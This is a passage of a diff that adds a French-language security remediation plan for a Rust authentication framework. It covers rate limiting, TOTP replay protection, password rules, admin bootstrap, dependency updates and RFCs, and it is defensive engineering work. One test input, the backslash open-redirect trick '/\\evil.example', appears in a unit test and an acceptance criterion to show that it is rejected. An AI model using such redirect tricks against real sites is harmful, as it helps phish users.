| 618 | +Documente *pourquoi* `new()` par requête est inerte. | |
| 619 | + | |
| 620 | +- [ ] **Step 2: Implementation** | |
| 621 | + | |
| 622 | +Dans `password_reset_service.rs` : | |
| 623 | + | |
| 624 | +```rust | |
| 625 | +use std::sync::OnceLock; | |
| 626 | + | |
| 627 | +static PASSWORD_RESET_LIMITER: OnceLock<RateLimitService> = OnceLock::new(); | |
| 628 | + | |
| 629 | +impl PasswordResetService { | |
| 630 | + pub fn new(email_config: EmailConfig) -> Self { | |
| 631 | + Self { | |
| 632 | + email_config, | |
| 633 | + rate_limiter: PASSWORD_RESET_LIMITER | |
| 634 | + .get_or_init(RateLimitService::new) | |
| 635 | + .clone(), | |
| 636 | + } | |
| 637 | + } | |
| 638 | +} | |
| 639 | +``` | |
| 640 | + | |
| 641 | +Même schéma `EMAIL_VALIDATION_LIMITER` dans `email_validation_service.rs`. **Deux** OnceLock distincts (budgets séparés, clés déjà préfixées `pwd_reset:` / `email_verify:` — séparés par prudence). | |
| 642 | + | |
| 643 | +Signature `new(email_config)` **inchangée** → pas de RFC. | |
| 644 | + | |
| 645 | +**Mitigation DoS (une seule, obligatoire) :** quand `sliding.len() >= MAX_ENTRIES` et que la clé est inconnue, **évincer la clé dont le timestamp le plus récent est le plus ancien** (LRU approximatif), puis insérer. Ne **plus** `return Err(TooManyRequests)` pour une clé neuve (c’est ça qui DoS le reset légitime). `cleanup_loop` reste de l’hygiène mémoire, pas la borne. | |
| 646 | + | |
| 647 | +```rust | |
| 648 | +if sliding.len() >= MAX_ENTRIES && !sliding.contains_key(key) { | |
| 649 | + if let Some(oldest) = sliding | |
| 650 | + .iter() | |
| 651 | + .min_by_key(|(_, v)| v.last().copied().unwrap_or(now)) | |
| 652 | + .map(|(k, _)| k.clone()) | |
| 653 | + { | |
| 654 | + sliding.remove(&oldest); | |
| 655 | + } | |
| 656 | +} | |
| 657 | +``` | |
| 658 | + | |
| 659 | +Spawn `cleanup_loop` **sans panic** : | |
| 660 | + | |
| 661 | +```rust | |
| 662 | +if let Ok(handle) = tokio::runtime::Handle::try_current() { | |
| 663 | + handle.spawn(limiter.clone().cleanup_loop(Duration::from_secs(300), Duration::from_secs(3600))); | |
| 664 | +} else { | |
| 665 | + tracing::warn!("password-reset limiter: no tokio runtime, cleanup_loop not started"); | |
| 666 | +} | |
| 667 | +``` | |
| 668 | + | |
| 669 | +Tests : `#[cfg(test)] pub(crate) fn new_with_limiter`. Critère : 200 000 clés distinctes injectées (ou `MAX_ENTRIES+1` dans le test avec un cap testable — si `MAX_ENTRIES` est une const 100_000, tester via un `check_sliding_window` en boucle jusqu’à `MAX_ENTRIES+10` puis une clé `legit@x.test` **acceptée**). Pour ne pas durer 10 s en CI, extraire `evict_if_full` et tester avec une map de 8 entrées / cap 8. | |
| 670 | + | |
| 671 | +Ordre vs Task 7 : Task 6 d’abord (constructeur), Task 7 ensuite (`reset_password`) — même fichier, pas de conflit de hunks si on sépare ctor et méthode. | |
| 672 | + | |
| 673 | +--- | |
| 674 | + | |
| 675 | +### Task 7 : Complexité mot de passe dans `reset_password` (M-2) | |
| 676 | + | |
| 677 | +**Files:** | |
| 678 | +- Modify: `crates/rustwarden-core/src/services/password_reset_service.rs:224-234` | |
| 679 | +- Use: `crate::middleware::password_complexity::validate_password_complexity` | |
| 680 | + | |
| 681 | +Le handler API (`auth/handlers.rs:1202-1207`) valide déjà. Le service, non. Tout appel direct (admin, consommateur) contourne. | |
| 682 | + | |
| 683 | +**Ordre (atomicité) :** `validate_password_complexity` **immédiatement après** `validate_token` (l.231), **avant** `hash_password` (l.234) et **avant** `used_at` (l.248-257). Un mot rejeté ne doit pas consommer le token. | |
| 684 | + | |
| 685 | +- [ ] **Step 1: Test** — `reset_password` avec password `"a"` → `AppError::Validation`. Token encore réutilisable (`used_at` IS NULL). | |
| 686 | + | |
| 687 | +- [ ] **Step 2:** | |
| 688 | + | |
| 689 | +```rust | |
| 690 | +let user_id = self.validate_token(db, token).await?; | |
| 691 | +crate::middleware::password_complexity::validate_password_complexity(db, new_password).await?; | |
| 692 | +let password_hash = PasswordService::hash_password(new_password).await?; | |
| 693 | +``` | |
| 694 | + | |
| 695 | +Hors 1.0.1 (trou Architect, F-AUTH) : le reset ne révoque ni PAT ni JWT d’accès (seulement refresh l.259-270). Non-goal du CHANGELOG. | |
| 696 | + | |
| 697 | +--- | |
| 698 | + | |
| 699 | +### Task 8 : Bootstrap admin (F-AUTH) | |
| 700 | + | |
| 701 | +**Files:** | |
| 702 | +- Modify: `crates/rustwarden-core/src/services/default_admin_service.rs:32-42` | |
| 703 | +- Use: `AdminConfig::validate` (`config/admin.rs:36-60`) + `PasswordRules::default().validate` | |
| 704 | + | |
| 705 | +Aujourd’hui `ensure_default_admin` ignore `validate()`. `ADMIN_PASSWORD=password` (8 chars, minuscules) **passe** `validate()` (seulement `len >= 8`) mais **échoue** `PasswordRules::default()` (`require_uppercase` + `require_digits`). | |
| 706 | + | |
| 707 | +**Bloquant Architect :** ne **pas** valider aux lignes 32-42 (avant les early-return « un admin existe déjà », l.46-53). Un `.env` de prod avec `ADMIN_PASSWORD` faible *résiduel* casserait le boot alors que l’admin est déjà créé — breaking de défaut, interdit en patch. Valider **uniquement** sur le chemin de création, après l.65. | |
| 708 | + | |
| 709 | +- [ ] **Step 1: Tests unitaires sur `AdminConfig::validate` + `PasswordRules`** (déjà testables sans DB) | |
| 710 | + | |
| 711 | +```rust | |
| 712 | +#[test] | |
| 713 | +fn default_rules_reject_password_literal() { | |
| 714 | + let rules = PasswordRules::default(); | |
| 715 | + assert!(rules.validate("password").is_err()); | |
| 716 | +} | |
| 717 | + | |
| 718 | +#[test] | |
| 719 | +fn default_rules_accept_mixed() { | |
| 720 | + let rules = PasswordRules::default(); | |
| 721 | + assert!(rules.validate("CorrectHorse1").is_ok()); | |
| 722 | +} | |
| 723 | +``` | |
| 724 | + | |
| 725 | +- [ ] **Step 2:** Dans `ensure_default_admin`, **après** `if !admins.is_empty() { return Ok(()) }` et après le skip username existant, **avant** `hash_password` : | |
| 726 | + | |
| 727 | +```rust | |
| 728 | +config | |
| 729 | + .validate() | |
| 730 | + .map_err(|e| AppError::Internal(format!("Invalid ADMIN_* config: {e}")))?; | |
| 731 | +crate::middleware::password_complexity::PasswordRules::default() | |
| 732 | + .validate(password) | |
| 733 | + .map_err(|errs| AppError::Validation(errs.join("; ")))?; | |
| 734 | +``` | |
| 735 | + | |
| 736 | +Échec = `Err` propagé **seulement** si on allait vraiment créer l’admin. `CREATE_DEFAULT_ADMIN=false` et « admin déjà présent » restent no-op. | |
| 737 | + | |
| 738 | +--- | |
| 739 | + | |
| 740 | +### Task 9 : Normaliser `\` dans `sanitize_redirect` (défense en profondeur) | |
| 741 | + | |
| 742 | +**Files:** | |
| 743 | +- Modify: `crates/rustwarden-core/src/middleware/auth_service.rs:29-36` | |
| 744 | +- Test: `auth_service.rs` tests existants l.454-476 | |
| 745 | + | |
| 746 | +**Pas un open redirect vivant** dans rustwarden-ui : `login.html` `getSafeRedirect()` exige same-origin. Priorité basse. On durcit le serveur pour les consommateurs qui lisent `?redirect=` naïvement. | |
| 747 | + | |
| 748 | +- [ ] **Step 1: Failing test** | |
| 749 | + | |
| 750 | +```rust | |
| 751 | +#[test] | |
| 752 | +fn sanitize_redirect_rejects_backslash_trick() { | |
| 753 | + let out = sanitize_redirect("/\\evil.example", "/login"); | |
| 754 | + assert_eq!(out, "/login"); | |
| 755 | +} | |
| 756 | +``` | |
| 757 | + | |
| 758 | +- [ ] **Step 2:** | |
| 759 | + | |
| 760 | +```rust | |
| 761 | +pub(crate) fn sanitize_redirect(uri: &str, login_path: &str) -> String { | |
| 762 | + let path = uri.replace('\\', "/"); | |
| 763 | + if path.starts_with('/') && !path.starts_with("//") && !path.contains('\0') { | |
| 764 | + format!("{login_path}?redirect={}", urlencoding::encode(&path)) | |
| 765 | + } else { | |
| 766 | + login_path.to_string() | |
| 767 | + } | |
| 768 | +} | |
| 769 | +``` | |
| 770 | + | |
| 771 | +Après remplacement, `/\evil.example` devient `//evil.example` → rejeté par `!starts_with("//")`. | |
| 772 | + | |
| 773 | +--- | |
| 774 | + | |
| 775 | +### Task 10 : Bumps deps (E-12 collatéral) | |
| 776 | + | |
| 777 | +**Files:** | |
| 778 | +- `Cargo.lock` via `cargo update` (pas de pin `"0.19.2"` dans Cargo.toml sauf échec) | |
| 779 | + | |
| 780 | +Cibles audit 2026-09-17. **Stratégie lockfile :** garder `bcrypt = "0.19"` dans `Cargo.toml` (semver compatible) et `cargo update -p bcrypt -p rustls -p h2` pour forcer le lock. Ne pas pinner `"0.19.2"` dans Cargo.toml sauf si `cargo update` ne suffit pas — ça constraindra moins les consommateurs. | |
| 781 | + | |
| 782 | +| Crate | Actuel (lock) | Cible | | |
| 783 | +|-------|---------------|-------| | |
| 784 | +| bcrypt | 0.19.0 | ≥ 0.19.2 | | |
| 785 | +| rustls | 0.23.37 (transitif) | ≥ 0.23.45 | | |
| 786 | +| h2 | 0.4.13 (transitif) | ≥ 0.4.16 | | |
| 787 | + | |
| 788 | +- [ ] **Step 1:** `cargo update -p bcrypt -p rustls -p h2` (ajuster les noms de paquets lockfile). | |
| 789 | +- [ ] **Step 2:** `cargo audit` — les avis RUSTSEC-2026-0199 / -0285 / -0258 doivent disparaître. `russh` n’est **pas** une dep Rustwarden (Gitrust). | |
| 790 | +- [ ] **Step 3:** `cargo test --workspace` + `cargo clippy --workspace -- -D warnings`. | |
| 791 | + | |
| 792 | +--- | |
| 793 | + | |
| 794 | +### Task 11 : Postgres dev bind (E-18 analogue) | |
| 795 | + | |
| 796 | +**Files:** | |
| 797 | +- Modify: `database/docker-compose.yml:8-16` | |
| 798 | +- Modify: `database/env.sample` (contient `POSTGRES_PASSWORD=change_me_in_production` — le garder comme **exemple local**, pas comme fallback compose) | |
| 799 | + | |
| 800 | +```yaml | |
| 801 | + environment: | |
| 802 | + - POSTGRES_DB=${POSTGRES_DB:-database} | |
| 803 | + - POSTGRES_USER=${POSTGRES_USER:-user} | |
| 804 | + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?Set POSTGRES_PASSWORD in database/.env} | |
| 805 | + # ALLOW_IP_RANGE n'est pas consommé par ce compose (pas de pg_hba custom). | |
| 806 | + # Conservé en commentaire pour ne pas prétendre restreindre 0.0.0.0/0 : | |
| 807 | + # - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-127.0.0.1/32} | |
| 808 | + ports: | |
| 809 | + - "127.0.0.1:5432:5432" | |
| 810 | +``` | |
| 811 | + | |
| 812 | +Ne plus fournir `pass3ord` en fallback. `database/.env` local (non versionné) reste la source. Documenter dans rustdoc / README la contrainte `:?`. | |
| 813 | + | |
| 814 | +Ceci casse `docker compose up` **sans** `.env` — c’est le but. Vérifier `README.md` § database. | |
| 815 | + | |
| 816 | +--- | |
| 817 | + | |
| 818 | +### Task 12 : CHANGELOG + notice 14 jours | |
| 819 | + | |
| 820 | +- [ ] Entrée `## [1.0.1] - 2026-09-XX — Security` | |
| 821 | +- [ ] Lister E-3, C-7, M-2, M-3, M-8, force-2FA, 2FA rate-limit, admin bootstrap, sanitize `\`, bumps, PG bind | |
| 822 | +- [ ] Rappeler la fenêtre d’adoption 14 jours ([RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) §9) | |
| 823 | + | |
| 824 | +--- | |
| 825 | + | |
| 826 | +## Phase 1 — Rédiger les RFCs (avant tout code) | |
| 827 | + | |
| 828 | +Numéros libres après 0035. Suivre [docs/rfcs/0000-template.md](../rfcs/0000-template.md) : 3 alternatives min, grille 7 critères, testing plan, migration. | |
| 829 | + | |
| 830 | +Mettre à jour [docs/rfcs/README.md](../rfcs/README.md) index. | |
| 831 | + | |
| 832 | +Chaque RFC : statut `Draft` → PR `Under Review` → score ≥ 25/35 → `Accepted` → **alors seulement** Phase 2. | |
| 833 | + | |
| 834 | +### Task 13 : RFC 0036 — Validation charset `username` | |
| 835 | + | |
| 836 | +**Create:** `docs/rfcs/0036-username-charset-validation.md` | |
| 837 | + | |
| 838 | +**Summary :** Introduire `Username` (newtype, patron `TeamSlug`) et l’appliquer dans `UserService::create_user`, `update_profile`, `RegisterRequest`. | |
| 839 | + | |
| 840 | +**Règles proposées (alignées GitHub / audit M-1) :** | |
| 841 | + | |
| 842 | +- `^[a-z0-9-]{3,39}$` | |
| 843 | +- pas de `--`, pas de `-` en tête/queue | |
| 844 | +- lowercase imposé à `parse` (trim + `to_ascii_lowercase`) **ou** rejet si majuscule — **décision RFC : rejet (pas de fold silencieux)** pour éviter les collisions `Alice`/`alice` | |
| 845 | +- réservés : réutiliser / étendre `TeamSlug::RESERVED` + `me`, `explore`, `robots.txt` n’est pas un username | |
| 846 | + | |
| 847 | +**Grandfathering :** pas de CHECK SQL sur `users.username`. Les comptes existants hors charset restent loggables. Seuls create + rename sont fermés. | |
| 848 | + | |
| 849 | +**API :** | |
| 850 | + | |
| 851 | +```rust | |
| 852 | +// crates/rustwarden-core/src/types/username.rs | |
| 853 | +pub struct Username(String); | |
| 854 | +impl Username { | |
| 855 | + pub fn parse(raw: &str) -> Result<Self, AppError> { /* ... */ } | |
| 856 | + pub fn as_str(&self) -> &str { &self.0 } | |
| 857 | +} | |
| 858 | +``` | |
| 859 | + | |
| 860 | +`UserService::create_user` appelle `Username::parse` **avant** insert. `RegisterRequest` garde `validator` length **et** parse. | |
| 861 | + | |
| 862 | +**Alternatives :** (A) newtype + parse aux frontières — retenue. (B) regex uniquement sur `RegisterRequest` — contourné par `create_user`. (C) ne rien faire — Gitrust newtype forever. | |
| 863 | + | |
| 864 | +**Score estimé :** Généralité 5, Stabilité 4 (rejet de payloads autrefois 200), Perf 5, Sécu 5, Complexité 4, Maintenance 5, Doc 4 → **32/35**. | |
| 865 | + | |
| 866 | +**Tests (après Accept) :** copier la batterie `team_slug.rs:76+` ; plus un test `create_user` DB qui refuse `` x`id`y ``. | |
| 867 | + | |
| 868 | +--- | |
| 869 | + | |
| 870 | +### Task 14 : RFC 0037 — Anti-rejeu TOTP `last_used_step` | |
| 871 | + | |
| 872 | +**Create:** `docs/rfcs/0037-totp-last-used-step.md` | |
| 873 | + | |
| 874 | +**Motivation :** persister en multi-instance le garde in-process livré en 1.0.1. `totp.check_current` accepte le même code ~90 s (step 30 s, skew 1). | |
| 875 | + | |
| 876 | +**Non-goals :** MITM interactif (Evilginx live : le code n’est présenté qu’une fois). Changer l’algorithme / skew. Backup codes (déjà one-shot). | |
| 877 | + | |
| 878 | +**Quel step stocker :** ne pas stocker « now/30 ». Appeler `matching_totp_step` (Task 2) : tester step `t`, `t-1`, `t+1` (skew=1), retenir **le step qui a matché**. Sans ça, un code de la fenêtre précédente est accepté puis un second code du step courant peut passer, ou l’inverse. | |
| 879 | + | |
| 880 | +**Verdict concurrence :** | |
| 881 | + | |
| 882 | +```sql | |
| 883 | +UPDATE user_totp | |
| 884 | +SET last_used_step = $step | |
| 885 | +WHERE user_id = $id | |
| 886 | + AND (last_used_step IS NULL OR last_used_step < $step) | |
| 887 | +``` | |
| 888 | + | |
| 889 | +Succès **ssi** `rows_affected == 1`. Sinon traiter comme code invalide (pas d’oracle). | |
| 890 | + | |
| 891 | +**Schéma :** colonne `last_used_step BIGINT NULL` (migration SeaORM, pas de SQL applicatif). | |
| 892 | + | |
| 893 | +**Alternatives :** (A) colonne — retenue pour multi-instance. (B) garde in-process seul (déjà 1.0.1) — insuffisant dès 2 réplicas. (C) ne rien persister. | |
| 894 | + | |
| 895 | +**RFC obligatoire** : migration DB (§2). Score grille amélioré parce que le comportement est déjà garanti en simple instance. | |
| 896 | + | |
| 897 | +--- | |
| 898 | + | |
| 899 | +### Task 15 : RFC 0038 — Changement d’email + revalidation | |
| 900 | + | |
| 901 | +**Create:** `docs/rfcs/0038-email-change-revalidation.md` | |
| 902 | + | |
| 903 | +**Bug actuel :** `UserService::update_profile` (`user_service.rs:190-205`) écrit `email` et conserve `email_verified`. | |
| 904 | + | |
| 905 | +**Proposition v1 (YAGNI, pas de table pending) :** | |
| 906 | + | |
| 907 | +1. Si `new_email != old` : `email_verified = false`, `email_verified_at = NULL`. | |
| 908 | +2. Enqueue validation vers **la nouvelle** adresse (`EmailValidationService::send_validation_email`). | |
| 909 | +3. Enqueue alerte vers **l’ancienne** (« votre email a été changé »). | |
| 910 | +4. Hook existant `on_email_verified` inchangé ; nouveau warn dans `on_audit_event` si câblé. | |
| 911 | + | |
| 912 | +**v2 (hors RFC si score) :** table `pending_email_changes` + confirmation lien — plus sûr contre prise de contrôle, plus de schéma. La RFC doit **évaluer** v2 et peut la marquer follow-up si v1 ≥ 25/35. | |
| 913 | + | |
| 914 | +**Breaking :** un user « vérifié » qui change d’email perd l’accès si `validation_email_required` (voulu). | |
| 915 | + | |
| 916 | +--- | |
| 917 | + | |
| 918 | +### Task 16 : RFC 0039 — `SecurityHeadersConfig` (CSP / COOP) | |
| 919 | + | |
| 920 | +**Create:** `docs/rfcs/0039-security-headers-config.md` | |
| 921 | + | |
| 922 | +**Ne pas** changer le défaut CSP dans le même train que le patch `1.0.1`. | |
| 923 | + | |
| 924 | +**API additive :** | |
| 925 | + | |
| 926 | +```rust | |
| 927 | +#[derive(Clone, Debug)] | |
| 928 | +pub struct SecurityHeadersConfig { | |
| 929 | + pub content_security_policy: Cow<'static, str>, | |
| 930 | + pub cross_origin_opener_policy: Option<Cow<'static, str>>, | |
| 931 | + pub cross_origin_resource_policy: Option<Cow<'static, str>>, | |
| 932 | +} | |
| 933 | + | |
| 934 | +impl Default for SecurityHeadersConfig { | |
| 935 | + fn default() -> Self { | |
| 936 | + Self { | |
| 937 | + content_security_policy: Cow::Borrowed( | |
| 938 | + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...", | |
| 939 | + ), | |
| 940 | + cross_origin_opener_policy: None, // v1 : opt-in same-origin | |
| 941 | + cross_origin_resource_policy: None, | |
| 942 | + } | |
| 943 | + } | |
| 944 | +} | |
| 945 | +``` | |
| 946 | + | |
| 947 | +Builder : `RustwardenApp::builder().security_headers(cfg)`. | |
| 948 | + | |
| 949 | +**Câblage (Architect) : PAS `Extension`.** Dans `app.rs:689-705`, `security_headers_middleware` est **plus externe** que les `Extension(...)`. Un `request.extensions().get::<Arc<SecurityHeadersConfig>>()` y est toujours `None` sur le chemin aller. Capturer `Arc<SecurityHeadersConfig>` à la construction : | |
| 950 | + | |
| 951 | +```rust | |
| 952 | +.layer(axum::middleware::from_fn({ | |
| 953 | + let cfg = headers_cfg.clone(); | |
| 954 | + move |req, next| { | |
| 955 | + let cfg = cfg.clone(); | |
| 956 | + async move { security_headers_middleware(cfg, req, next).await } | |
| 957 | + } | |
| 958 | +})) | |
| 959 | +``` | |
| 960 | + | |
| 961 | +Même patron que le layer custom `app.rs:698`. | |
| 962 | + | |
| 963 | +**Phase 2 de la RFC (après Accept + Alpine CSP) :** défaut sans `'unsafe-eval'`. Référencer [PLAN_CSP_HTMX.md](PLAN_CSP_HTMX.md). | |
| 964 | + | |
| 965 | +**Gitrust** pourra alors retirer `SetResponseHeaderLayer::overriding`. | |
| 966 | + | |
| 967 | +--- | |
| 968 | + | |
| 969 | +### Task 17 : RFC 0040 — `AuthService` honore `validation_email_required` | |
| 970 | + | |
| 971 | +**Create:** `docs/rfcs/0040-authenticate-user-email-verified.md` | |
| 972 | + | |
| 973 | +**Bug :** le check vit dans `auth/handlers.rs:318-345`, pas dans `AuthService::authenticate_user` (`services/auth_service.rs:109-121`). Gitrust (et tout SSR) qui appelle le service **contourne**. | |
| 974 | + | |
| 975 | +**Proposition :** déplacer le check dans `authenticate_user` (même `get_bool_with_fallback(..., ["validation_email_required", "validation_email_requise"], true)`). | |
| 976 | + | |
| 977 | +**Exception bootstrap :** déjà `email_verified=true` dans `default_admin_service.rs:84`. **Ne pas** re-travailler ce seed. La RFC ne fait que déplacer le check login dans `AuthService`. | |
| 978 | + | |
| 979 | +**E-2 :** préciser dans Non-goals / contrat : limiteur login = `check_auth_rate_limit` sur `/api/v1/auth/*`. Les apps SSR POST `/login` doivent soit appeler ce helper, soit passer par l’API. Pas de nouveau middleware browser obligatoire. | |
| 980 | + | |
| 981 | +--- | |
| 982 | + | |
| 983 | +## Phase 2 — Implémenter les RFCs acceptées | |
| 984 | + | |
| 985 | +Une tâche par RFC, TDD, migration SeaORM uniquement (pas de SQL brut applicatif). | |
| 986 | + | |
| 987 | +Ordre : **0036 → 0037 → 0038 → 0040 → 0039**. | |
| 988 | + | |
| 989 | +Justification : 0036 ferme la cause racine username pour tous les consommateurs (Scénario A côté framework). 0037/0038/0040 ferment l’authn. 0039 est défense en profondeur UI, dépend d’Alpine. | |
| 990 | + | |
| 991 | +### Task 18 : Implémenter RFC 0036 | |
| 992 | + | |
| 993 | +- [ ] Create `crates/rustwarden-core/src/types/username.rs` (copie structurelle de `team_slug.rs`) | |
| 994 | +- [ ] Exporter via `types/mod.rs` + prelude | |
| 995 | +- [ ] `UserService::create_user` + `update_profile` (branche username) | |
| 996 | +- [ ] `RegisterRequest` : after-validate parse | |
| 997 | +- [ ] Admin `CreateUserRequest` (les deux handlers) | |
| 998 | +- [ ] Tests charset + reserved + grandfather (update email sans toucher username OK) | |
| 999 | +- [ ] rustdoc anglais | |
| 1000 | + | |
| 1001 | +### Task 19 : Implémenter RFC 0037 | |
| 1002 | + | |
| 1003 | +- [ ] Migration `m20260917_000010_totp_last_used_step.rs` + enregistrer dans le migrator | |
| 1004 | +- [ ] Colonne `last_used_step: Option<i64>` sur `user_totp::Model` | |
| 1005 | +- [ ] `verify` : calculer step, comparer, update conditionnel | |
| 1006 | +- [ ] Test : deux `verify` du même code dans la fenêtre → second `Ok(false)` / `TotpInvalid` | |
| 1007 | + | |
| 1008 | +### Task 20 : Implémenter RFC 0038 | |
| 1009 | + | |
| 1010 | +- [ ] `update_profile` : si email change, reset flags + send mail + alerte ancienne | |
| 1011 | +- [ ] Si SMTP absent : quand même reset `email_verified` (fail-closed accès, pas fail-open mail) | |
| 1012 | +- [ ] Tests DB | |
| 1013 | + | |
| 1014 | +### Task 21 : Implémenter RFC 0040 | |
| 1015 | + | |
| 1016 | +- [ ] Move check into `AuthService::authenticate_user` | |
| 1017 | +- [ ] Handler login : ne plus dupliquer (appel service suffit) | |
| 1018 | +- [ ] Test : user non vérifié + setting true → err ; setting false → ok | |
| 1019 | + (seed admin déjà `email_verified=true`, ne pas y toucher) | |
| 1020 | + | |
| 1021 | +### Task 22 : Implémenter RFC 0039 | |
| 1022 | + | |
| 1023 | +- [ ] `SecurityHeadersConfig` + builder | |
| 1024 | +- [ ] Middleware lit la config **capturée à la construction** (pas Extension — voir RFC 0039) | |
| 1025 | +- [ ] Tests : défaut inchangé ; override CSP ; COOP opt-in | |
| 1026 | +- [ ] **Ne pas** retirer `unsafe-inline` tant que Phase 1 Alpine CSP n’est pas faite (tâche séparée, plan existant) | |
| 1027 | + | |
| 1028 | +--- | |
| 1029 | + | |
| 1030 | +## Phase 3 — Doc consommateur et CLI | |
| 1031 | + | |
| 1032 | +### Task 23 | |
| 1033 | + | |
| 1034 | +- [ ] `docs/developer-guide/07-security-model.md` : username, TOTP caps, headers config | |
| 1035 | +- [ ] Mention `update-project` + fenêtre 14 jours | |
| 1036 | +- [ ] Wizard : `.env.example` sans placeholder JWT **ni** `ADMIN_PASSWORD=REMPLACER_…` (Task 1) ; premier `cargo run` d’un projet scaffoldé boot ou échoue avec message actionnable | |
| 1037 | +- [ ] rustdoc `///` anglais sur toute API nouvelle (`missing_docs = warn`) | |
| 1038 | + | |
| 1039 | +--- | |
| 1040 | + | |
| 1041 | +## Risques et mitigations | |
| 1042 | + | |
| 1043 | +| Risque | Mitigation | | |
| 1044 | +|--------|------------| | |
| 1045 | +| `OnceLock` pollue les tests / DoS sliding | éviction LRU au cap (Task 6) ; `new_with_limiter` ; `Handle::try_current` | | |
| 1046 | +| `auth:{ip}` saturera `check_window` au cap | follow-up : réutiliser `evict_if_full` ; atténué par `retain` 60 s — hors 1.0.1 | | |
| 1047 | +| Double rate-limit 2FA | **IP seule** en 1.0.1 + plafond `create_challenge` ; pas de clé `totp:{user_id}` | | |
| 1048 | +| `delete_user` ne blacklist pas les JWT d’accès | Hors 1.0.1 (TTL 15 min) ; follow-up F-AUTH | | |
| 1049 | +| Reset MDP ne révoque pas PAT | Hors 1.0.1 ; F-AUTH Lot 7 Gitrust / RFC ultérieure | | |
| 1050 | +| `to_ascii_uppercase` sur JWT_SECRET non-ASCII | secret JWT est ASCII par convention ; `to_ascii_uppercase` ignore les non-ASCII — OK | | |
| 1051 | +| `cargo update rustls` casse `native-tls` | update ciblé ; CI test workspace | | |
| 1052 | +| `POSTGRES_PASSWORD:?` casse onboarding | README + wizard écrivent déjà `database/.env` | | |
| 1053 | +| RFC 0036 lowercase breaking | rejet explicite + message ; pas de fold | | |
| 1054 | + | |
| 1055 | +--- | |
| 1056 | + | |
| 1057 | +## Critères d’acceptation (testables) | |
| 1058 | + | |
| 1059 | +**Patch 1.0.1** | |
| 1060 | + | |
| 1061 | +1. `jwt_secret_is_placeholder("REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE")` == true ; secret hex 64 == false. | |
| 1062 | +2. Somme des `attempts` TOTP ≥ 15 sur 15 min → `TotpMaxAttemptsExceeded` (même si aucun challenge n’a 5 essais). | |
| 1063 | +3. `totp_replay_guard_accept(uid, 42)` deux fois → second false. | |
| 1064 | +4. Test **obligatoire** `MockConnectInfo` : deux IPs, 11e POST `/api/v1/auth/login` de la 1re → 429, même batterie sur la 2e → pas 429. Idem `/2fa/verify`. | |
| 1065 | +5. Après remplissage du sliding map au cap, une clé email neuve est **acceptée** (éviction, pas 429 global). Deux `PasswordResetService::new` partagent le budget 3/h. | |
| 1066 | +6. `reset_password` avec mot `a` → Validation ; token non consommé. | |
| 1067 | +7. `verify_backup_code` passe par `spawn_blocking` (court-circuit `break` conservé). | |
| 1068 | +8. `map_user_lookup(Err)` → Unavailable ; `map_user_lookup(Ok(None))` → Unauth ; `totp_force_gate(Err)` → Unavailable. Grep final sans `is_ok_and` / `if let Ok(Some` sur la branche protégée. | |
| 1069 | +9. `sanitize_redirect("/\\evil.example", "/login") == "/login"`. | |
| 1070 | +10. `PasswordRules::default().validate("password")` Err ; bootstrap **création** refuse ce mot **et** `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` ; boot **no-op** si un admin existe déjà malgré un `.env` faible. | |
| 1071 | +11. `cargo audit` : plus de RUSTSEC bcrypt 0.19.0 / rustls 0.23.37 / h2 0.4.13 sur le lockfile framework. | |
| 1072 | +12. `database/docker-compose.yml` bind `127.0.0.1:5432`, plus de `pass3ord` en défaut compose. | |
| 1073 | +13. `cargo clippy --workspace -- -D warnings` vert. | |
| 1074 | +14. Aucun item `pub` ajouté/modifié/supprimé. Handlers `login`/`register`/… signatures inchangées. `check_auth_rate_limit(HeaderMap)` inchangée. Passphrase contenant `change-me` **accepte** (pas de `contains`). | |
| 1075 | + | |
| 1076 | +**RFCs** | |
| 1077 | + | |
| 1078 | +15. Cinq fichiers `docs/rfcs/0036`…`0040` au template, 3 alternatives, score renseigné. | |
| 1079 | +16. Après Accept+impl 0036 : `Username::parse` refuse un username avec backtick ; `create_user` idem. | |
| 1080 | +17. Après 0037 : rejeu même step rejeté (`rows_affected == 0`). | |
| 1081 | +18. Après 0038 : `email_verified` false après changement d’email. | |
| 1082 | +19. Après 0040 : appel `authenticate_user` sans passer par le handler refuse l’email non vérifié si setting true. | |
| 1083 | +20. Après 0039 : une app peut setter COOP `same-origin` sans forker `app.rs` ; défaut CSP inchangé. | |
| 1084 | + | |
| 1085 | +--- | |
| 1086 | + | |
| 1087 | +## Vérification finale | |
| 1088 | + | |
| 1089 | +```bash | |
| 1090 | +cargo test --workspace | |
| 1091 | +cargo clippy --workspace -- -D warnings | |
| 1092 | +cargo audit | |
| 1093 | +cargo doc --workspace --no-deps | |
| 1094 | +``` | |
| 1095 | + | |
| 1096 | +```bash | |
| 1097 | +git grep -nE 'unwrap_or\(false\)|is_ok_and|if let Ok\(Some' \ | |
| 1098 | + crates/rustwarden-core/src/middleware/auth_service.rs | |
| 1099 | +``` | |
| 1100 | + | |
| 1101 | +Attendu : plus de fail-open TOTP / user lookup / blacklist sur la branche protégée. | |
| 1102 | + | |
| 1103 | +```bash | |
| 1104 | +git grep -n 'RateLimitService::new()' \ | |
| 1105 | + crates/rustwarden-core/src/services/password_reset_service.rs \ | |
| 1106 | + crates/rustwarden-core/src/services/email_validation_service.rs | |
| 1107 | +``` | |
| 1108 | + | |
| 1109 | +Uniquement dans `get_or_init` / `new_with_limiter` tests. | |
| 1110 | + | |
| 1111 | +--- | |
| 1112 | + | |
| 1113 | +## Rollback (patch 1.0.1) | |
| 1114 | + | |
| 1115 | +| Tâche | Si ça casse en prod | Retour | | |
| 1116 | +|-------|---------------------|--------| | |
| 1117 | +| 1 JWT placeholders | instance refuse de boot | retirer le 5e littéral CLI du tableau, garder les 4 historiques ; secret inchangé | | |
| 1118 | +| 8 Admin complexité | première install refuse de créer l’admin | `CREATE_DEFAULT_ADMIN=false` + créer l’admin à la main, ou mot conforme `PasswordRules` | | |
| 1119 | +| 0/3 ConnectInfo + layer | 429 inattendus derrière un proxy | 1) `TRUSTED_PROXY_HOPS=1` ; 2) revert `routes.rs` **et** restaurer les `check_auth_rate_limit` handlers (sinon `/login` n’a plus de limiteur du tout) | | |
| 1120 | +| 6 Limiteur email | reset légitime 429 | revert `OnceLock` (retour à l’état inerte, disponibilité OK, flood SMTP revient) | | |
